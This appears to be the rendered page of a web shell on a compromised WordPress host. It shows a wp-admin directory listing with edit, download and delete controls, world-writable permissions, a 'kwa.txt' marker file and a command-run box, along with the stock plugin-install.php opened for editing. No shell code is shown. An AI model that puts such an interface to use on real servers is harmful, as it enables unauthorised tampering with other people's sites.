/
home
/
techb158
/
public_html
/
wp-admin
/
/home/techb158/public_html/wp-admin
mkdir
upload
Name
Size
Mode
Actions
css/
-
0777
rm
images/
-
0777
rm
includes/
-
0777
rm
js/
-
0777
rm
maint/
-
0777
rm
network/
-
0777
rm
user/
-
0777
rm
about.php
16485
0666
edit
dl
rm
admin-ajax.php
5146
0666
edit
dl
rm
admin-footer.php
2804
0666
edit
dl
rm
admin-functions.php
472
0666
edit
dl
rm
admin-header.php
9284
0666
edit
dl
rm
admin-post.php
2021
0666
edit
dl
rm
admin.php
12935
0666
edit
dl
rm
async-upload.php
5604
0666
edit
dl
rm
authorize-application.php
10335
0666
edit
dl
rm
comment.php
11643
0666
edit
dl
rm
contribute.php
5656
0666
edit
dl
rm
credits.php
4141
0666
edit
dl
rm
custom-background.php
482
0666
edit
dl
rm
custom-header.php
492
0666
edit
dl
rm
customize.php
11586
0666
edit
dl
rm
edit-comments.php
14484
0666
edit
dl
rm
edit-form-advanced.php
29481
0666
edit
dl
rm
edit-form-blocks.php
15528
0666
edit
dl
rm
edit-form-comment.php
13980
0666
edit
dl
rm
edit-link-form.php
6347
0666
edit
dl
rm
edit-tag-form.php
10658
0666
edit
dl
rm
edit-tags.php
22510
0666
edit
dl
rm
edit.php
19952
0666
edit
dl
rm
erase-personal-data.php
7505
0666
edit
dl
rm
export-personal-data.php
7940
0666
edit
dl
rm
export.php
11265
0666
edit
dl
rm
font-library.php
1480
0666
edit
dl
rm
freedoms.php
4574
0666
edit
dl
rm
import.php
7766
0666
edit
dl
rm
index.php
1088
0444
edit
dl
rm
install-helper.php
6961
0666
edit
dl
rm
install.php
18375
0666
edit
dl
rm
kwa.txt
1
0644
edit
dl
rm
link-add.php
934
0666
edit
dl
rm
link-manager.php
4361
0666
edit
dl
rm
link-parse-opml.php
2721
0666
edit
dl
rm
link.php
2957
0666
edit
dl
rm
load-scripts.php
2070
0666
edit
dl
rm
load-styles.php
2995
0666
edit
dl
rm
media-new.php
3249
0666
edit
dl
rm
media-upload.php
3668
0666
edit
dl
rm
media.php
819
0666
edit
dl
rm
menu-header.php
10052
0666
edit
dl
rm
menu.php
18134
0666
edit
dl
rm
moderation.php
307
0666
edit
dl
rm
ms-admin.php
196
0666
edit
dl
rm
ms-delete-site.php
4613
0666
edit
dl
rm
ms-edit.php
216
0666
edit
dl
rm
ms-options.php
229
0666
edit
dl
rm
ms-sites.php
215
0666
edit
dl
rm
ms-themes.php
217
0666
edit
dl
rm
ms-upgrade-network.php
219
0666
edit
dl
rm
ms-users.php
215
0666
edit
dl
rm
my-sites.php
4831
0666
edit
dl
rm
nav-menus.php
50199
0666
edit
dl
rm
network.php
5523
0666
edit
dl
rm
options-connectors.php
1543
0666
edit
dl
rm
options-discussion.php
16403
0666
edit
dl
rm
options-general.php
22855
0666
edit
dl
rm
options-head.php
614
0666
edit
dl
rm
options-media.php
6640
0666
edit
dl
rm
options-permalink.php
22491
0666
edit
dl
rm
options-privacy.php
10704
0666
edit
dl
rm
options-reading.php
10198
0666
edit
dl
rm
options-writing.php
9404
0666
edit
dl
rm
options.php
14266
0666
edit
dl
rm
plugin-editor.php
14071
0666
edit
dl
rm
plugin-install.php
7433
0666
edit
dl
rm
plugins.php
30744
0666
edit
dl
rm
post-new.php
2768
0666
edit
dl
rm
post.php
10821
0666
edit
dl
rm
press-this.php
2470
0666
edit
dl
rm
privacy-policy-guide.php
3756
0666
edit
dl
rm
privacy.php
2512
0666
edit
dl
rm
profile.php
283
0666
edit
dl
rm
revision.php
5836
0666
edit
dl
rm
setup-config.php
17928
0666
edit
dl
rm
site-editor.php
12483
0666
edit
dl
rm
site-health-info.php
4173
0666
edit
dl
rm
site-health.php
10427
0666
edit
dl
rm
term.php
2249
0666
edit
dl
rm
theme-editor.php
17279
0666
edit
dl
rm
theme-install.php
24315
0666
edit
dl
rm
themes.php
49728
0666
edit
dl
rm
tools.php
3514
0666
edit
dl
rm
update-core.php
46202
0666
edit
dl
rm
update.php
13062
0666
edit
dl
rm
upgrade-functions.php
341
0666
edit
dl
rm
upgrade.php
6390
0666
edit
dl
rm
upload.php
15292
0666
edit
dl
rm
user-edit.php
41844
0666
edit
dl
rm
user-new.php
24664
0666
edit
dl
rm
users.php
25698
0666
edit
dl
rm
widgets-form-blocks.php
5235
0666
edit
dl
rm
widgets-form.php
19588
0666
edit
dl
rm
widgets.php
1112
0666
edit
dl
rm
Edit:
/home/techb158/public_html/wp-admin/plugin-install.php
(7433B)
<?php /** * Install plugin administration panel. * * @package WordPress * @subpackage Administration */ // TODO: Route this page via a specific iframe handler instead of the do_action below. if ( ! defined( 'IFRAME_REQUEST' ) && isset( $_GET['tab'] ) && ( 'plugin-information' === $_GET['tab'] ) ) { define( 'IFRAME_REQUEST', true ); } /** * WordPress Administration Bootstrap. */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'install_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } if ( is_multisite() && ! is_network_admin() ) { wp_redirect( network_admin_url( 'plugin-install.php' ) ); exit; } $wp_list_table = _get_list_table( 'WP_Plugin_Install_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) { $location = remove_query_arg( '_wp_http_referer', wp_unslash( $_SERVER['REQUEST_URI'] ) ); if ( ! empty( $_REQUEST['paged'] ) ) { $location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location ); } wp_redirect( $location ); exit; } $wp_list_table->prepare_items(); /** * WP_Plugin_Install_List_Table::prepare_items() populates these globals, which * are used throughout the rest of this file. * * @global string $tab The current tab of the Install Plugins screen. * @global int $paged The current page number of the plugins list. */ global $tab, $paged; $total_pages = $wp_list_table->get_pagination_arg( 'total_pages' ); if ( $pagenum > $total_pages && $total_pages > 0 ) { wp_redirect( add_query_arg( 'paged', $total_pages ) ); exit; } // Used in the HTML title tag. $title = __( 'Add Plugins' ); $parent_file = 'plugins.php'; wp_enqueue_script( 'plugin-install' ); if ( 'plugin-information' !== $tab ) { add_thickbox(); } $body_id = $tab; wp_enqueue_script( 'updates' ); /** * Fires before each tab on the Install Plugins screen is loaded. * * The dynamic portion of the hook name, `$tab`, allows for targeting * individual tabs. * * Possible hook names include: * * - `install_plugins_pre_beta` * - `install_plugins_pre_favorites` * - `install_plugins_pre_featured` * - `install_plugins_pre_plugin-information` * - `install_plugins_pre_popular` * - `install_plugins_pre_recommended` * - `install_plugins_pre_search` * - `install_plugins_pre_upload` * * @since 2.7.0 */ do_action( "install_plugins_pre_{$tab}" ); /* * Call the pre upload action on every non-upload plugin installation screen * because the form is always displayed on these screens. */ if ( 'upload' !== $tab ) { /** This action is documented in wp-admin/plugin-install.php */ do_action( 'install_plugins_pre_upload' ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . sprintf( /* translators: %s: https://wordpress.org/plugins/ */ __( 'Plugins hook into WordPress to extend its functionality with custom features. Plugins are developed independently from the core WordPress application by thousands of developers all over the world. All plugins in the official <a href="%s">WordPress Plugin Directory</a> are compatible with the license WordPress uses.' ), __( 'https://wordpress.org/plugins/' ) ) . '</p>' . '<p>' . __( 'You can find new plugins to install by searching or browsing the directory right here in your own Plugins section.' ) . ' <span id="live-search-desc" class="hide-if-no-js">' . __( 'The search results will be updated as you type.' ) . '</span></p>', ) ); get_current_screen()->add_help_tab( array( 'id' => 'adding-plugins', 'title' => __( 'Adding Plugins' ), 'content' => '<p>' . __( 'If you know what you are looking for, Search is your best bet. The Search screen has options to search the WordPress Plugin Directory for a particular Term, Author, or Tag. You can also search the directory by selecting popular tags. Tags in larger type mean more plugins have been labeled with that tag.' ) . '</p>' . '<p>' . __( 'If you just want to get an idea of what’s available, you can browse Featured and Popular plugins by using the links above the plugins list. These sections rotate regularly.' ) . '</p>' . '<p>' . __( 'You can also browse a user’s favorite plugins, by using the Favorites link above the plugins list and entering their WordPress.org username.' ) . '</p>' . '<p>' . __( 'If you want to install a plugin that you’ve downloaded elsewhere, click the Upload Plugin button above the plugins list. You will be prompted to upload the .zip package, and once uploaded, you can activate the new plugin.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-add-new-screen/">Documentation on Installing Plugins</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>' ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter plugins list' ), 'heading_pagination' => __( 'Plugins list navigation' ), 'heading_list' => __( 'Plugins list' ), ) ); /** * WordPress Administration Template Header. */ require_once ABSPATH . 'wp-admin/admin-header.php'; WP_Plugin_Dependencies::initialize(); WP_Plugin_Dependencies::display_admin_notice_for_unmet_dependencies(); WP_Plugin_Dependencies::display_admin_notice_for_circular_dependencies(); ?> <div class="wrap <?php echo esc_attr( "plugin-install-tab-$tab" ); ?>"> <h1 class="wp-heading-inline"> <?php echo esc_html( $title ); ?> </h1> <?php if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_plugins' ) ) { printf( ' <a href="%s" class="upload-view-toggle page-title-action"><span class="upload">%s</span><span class="browse">%s</span></a>', ( 'upload' === $tab ) ? self_admin_url( 'plugin-install.php' ) : self_admin_url( 'plugin-install.php?tab=upload' ), __( 'Upload Plugin' ), __( 'Browse Plugins' ) ); } ?> <hr class="wp-header-end"> <?php /* * Output the upload plugin form on every non-upload plugin installation screen, so it can be * displayed via JavaScript rather then opening up the devoted upload plugin page. */ if ( 'upload' !== $tab ) { ?> <div class="upload-plugin-wrap"> <?php /** This action is documented in wp-admin/plugin-install.php */ do_action( 'install_plugins_upload', $paged ); ?> </div> <?php $wp_list_table->views(); } /** * Fires after the plugins list table in each tab of the Install Plugins screen. * * The dynamic portion of the hook name, `$tab`, allows for targeting * individual tabs. * * Possible hook names include: * * - `install_plugins_beta` * - `install_plugins_favorites` * - `install_plugins_featured` * - `install_plugins_plugin-information` * - `install_plugins_popular` * - `install_plugins_recommended` * - `install_plugins_search` * - `install_plugins_upload` * * @since 2.7.0 * * @param int $paged The current page number of the plugins list table. */ do_action( "install_plugins_{$tab}", $paged ); ?> <span class="spinner"></span> </div> <?php wp_print_request_filesystem_credentials_modal(); wp_print_admin_notice_templates(); /** * WordPress Administration Template Footer. */ require_once ABSPATH . 'wp-admin/admin-footer.php';
Save
cmd:
run